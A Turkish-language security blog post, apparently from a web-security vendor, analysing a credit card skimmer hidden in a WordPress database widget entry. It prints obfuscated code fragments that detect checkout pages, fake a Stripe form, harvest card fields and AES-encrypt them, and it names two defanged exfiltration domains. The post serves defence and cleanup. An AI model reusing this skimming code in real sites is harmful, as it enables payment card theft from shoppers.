Gizli Kredi Kartı Skimmer’ı, WordPress Ödeme Sayfalarını Veritabanı Enjeksiyonu Yoluyla Hedefliyor

Kısa süre önce, bir kredi kartı skimmer’ının bir Magento sitesinin ödeme sayfalarını hedef aldığına dair bir makale yayımladık. Şimdi ise, güvenliği ihlal edilmiş bir WordPress web sitesi üzerinde yaptığımız incelemelerde daha gelişmiş bir kredi kartı skimmer kötü amaçlı yazılımıyla karşılaştık.

Bu kötü amaçlı yazılım, WordPress web sitelerini hedef alarak, veritabanı girdilerine zararlı JavaScript kodları sessizce enjekte ediyor ve hassas ödeme bilgilerini çalıyor. Yazılım, özellikle ödeme sayfalarında aktif hale geliyor ve ya mevcut ödeme alanlarını ele geçiriyor ya da sahte bir kredi kartı formu ekliyor.

malicious javascript

Kötü Amaçlı Yazılım Nerede Bulundu?

Zararlı kod, WordPress veritabanında wp_options tablosu altında tespit edildi. Özellikle şu satırda yer alıyordu:

  • option_name: widget_block
  • option_value: Karmaşık JavaScript kodunu içeriyor.

Bu kötü amaçlı yazılım, kendisini tema dosyaları veya eklentiler yerine veritabanına enjekte ederek, yaygın dosya tarama araçlarından kaçmayı başarıyor. Bu da kötü amaçlı yazılımın, ihlal edilmiş WordPress sitelerinde sessizce varlığını sürdürmesine olanak tanıyor.

Zararlı JavaScript, WordPress yönetim paneli (wp-admin > widgets) aracılığıyla HTML blok widget’ına enjekte edilmiş olarak bulundu.

HTML block widget

Kötü Amaçlı Yazılım Nasıl Çalışır?

Kötü amaçlı yazılım, sayfa URL’sinde “checkout” ifadesini kontrol ederken “cart” kelimesini hariç tutar. Bu yöntem, kötü amaçlı yazılımın yalnızca kullanıcıların ödeme bilgilerini göndermeye hazır olduğu sırada etkinleşmesini sağlar.

javascript
const _0x232f96 = '/checkout';
if (window.location.toString().toLowerCase().search('' + _0x232f96) !== -1) {...}

Kötü amaçlı yazılım, meşru ödeme sağlayıcılarını (örneğin, Stripe) taklit eden sahte bir ödeme formu oluşturur. Bu form, kredi kartı numarası, son kullanma tarihi, CVV ve fatura bilgileri için alanlar içerir. Eğer sayfada zaten bir meşru ödeme formu varsa, kötü amaçlı yazılım bu alana girilen verileri gerçek zamanlı olarak yakalar.

javascript
const fakeForm = '<div id="stripe-payment-form-wrap">...</div>';

Bu yöntem, kullanıcıların farkında olmadan hassas ödeme bilgilerini saldırganlara sağlamasına yol açar.

sensitive data

Kötü Amaçlı Yazılımın Nasıl Çalıştığı

Kötü amaçlı yazılım, ziyaretçi ödeme bilgilerini doldurdukça bu bilgileri gerçek zamanlı olarak yakalar. Bazı durumlarda, mevcut ödeme alanlarını ele geçirir ve yeni bir form oluşturmadan çalışır. Bu yaklaşım, çeşitli ödeme sistemleriyle uyumluluğu sağlar.

Ödeme Bilgilerini Yakalama ve Şifreleme

Kötü amaçlı yazılım, kullanıcının girdiği bilgileri toplar ve şifreleyerek uzak bir saldırgan sunucusuna gönderir:

javascript
function _0x50efa4() {
_0x5ab8c6.Number = document.getElementById(_0x3c48c0)
? document.getElementById(_0x3c48c0).value.replaceAll(' ', '')
: '';
_0x5ab8c6.CVV = document.getElementById(_0x4cbdac)
? document.getElementById(_0x4cbdac).value
: '';
_0x5ab8c6.Expiration = document.getElementById(_0x526fa8)
? document.getElementById(_0x526fa8).value
: '';
_0x5ab8c6.Address = document.getElementById(_0x72d8fc)
? document.getElementById(_0x72d8fc).value
: '';
_0x5ab8c6.FullName = document.getElementById(_0x37276b)
? document.getElementById(_0x37276b).value
: '';
_0x5ab8c6.City = document.getElementById(_0x4e4454)
? document.getElementById(_0x4e4454).value
: '';
_0x5ab8c6.Zip = document.getElementById(_0x31755f)
? document.getElementById(_0x31755f).value
: '';
}

Verilerin Şifrelenmesi ve Gönderilmesi

Çalınan veriler, AES-CBC algoritması ile şifrelenir ve ardından Base64 ile kodlanır. Şifrelenmiş veriler, kullanıcı deneyimini kesintiye uğratmadan sessizce iletilir:

javascript
async function _0x233872(_0x521845, _0x5e6977, _0xd6a8ef) {
try {
var _0x5180cb = Uint8Array.from(atob(_0x521845), (_0x47cd28) =>
_0x47cd28.charCodeAt(0)
);
var _0x25deba = Uint8Array.from(atob(_0x5e6977), (_0x45785d) =>
_0x45785d.charCodeAt(0)
);
var _0x152dd3 = await crypto.subtle.importKey(
'raw',
_0x5180cb,
'AES-CBC',
false,
['encrypt']
);
var _0x3f060d = await crypto.subtle.encrypt(
{
name: 'AES-CBC',
iv: _0x25deba,
},
_0x152dd3,
new TextEncoder().encode(_0xd6a8ef)
);
const _0x4d0c53 = btoa(
String.fromCharCode.apply(null, new Uint8Array(_0x3f060d))
);
return _0x4d0c53;
} catch (_0x2dc142) {
throw _0x2dc142;
}
}

Çalınan veriler, aşağıdaki gibi kötü amaçlı alan adlarına gönderilir:

  • valhafather[.]xyz
  • fqbe23[.]xyz

Bu alan adları, saldırganların kontrolünde olup şimdilik kara listede yer almaktadır.


Tehditin Tehlikesi

Bu kötü amaçlı yazılım, ödeme bilgilerinin (kredi kartı numaraları, CVV kodları gibi) sessizce çalınmasına olanak tanır. Çalınan bilgiler, dolandırıcılıkta kullanılabilir veya yeraltı pazarlarında satılabilir. Kötü amaçlı yazılım, arka planda çalışarak normal ödeme sürecini kesintiye uğratmadan hedefini gerçekleştirir.


Temizlik ve Koruma Önlemleri

  1. HTML Widget’larını İnceleyin
    • WordPress yönetici paneline giriş yapın.
    • wp-admin > Görünüm > Widget’lar sekmesine gidin.
    • Tüm Özel HTML blok widget’larını şüpheli <script> etiketleri için kontrol edin.
  2. Korunma Adımları
    • Düzenli Güncellemeler: Eklentiler ve temalar dahil olmak üzere web sitenizin tüm yazılımlarını güncel tutun.
    • Güçlü Yönetici Şifreleri: İki faktörlü kimlik doğrulamayı etkinleştirin ve güçlü şifreler kullanın.
    • Dosya Bütünlüğü İzleme: Dosya değişikliklerini tespit etmek için bir bütünlük izleme aracı kullanın.
    • Web Uygulama Güvenlik Duvarı (WAF): Kötü amaçlı trafiği engellemek ve saldırılara karşı koruma sağlamak için bir güvenlik duvarı uygulayın.

Sonuç

Bu kredi kartı skimmer, WordPress veritabanlarında gizlenerek hassas ödeme işlemlerini hedef alıyor. Kullanıcılar, farkında olmadan ödeme bilgilerini saldırganlara sağlıyor. Güncel kalmak, düzenli tarama yapmak ve güçlü güvenlik önlemleri almak bu tür tehditlere karşı koruma sağlar.

About The Author

Reply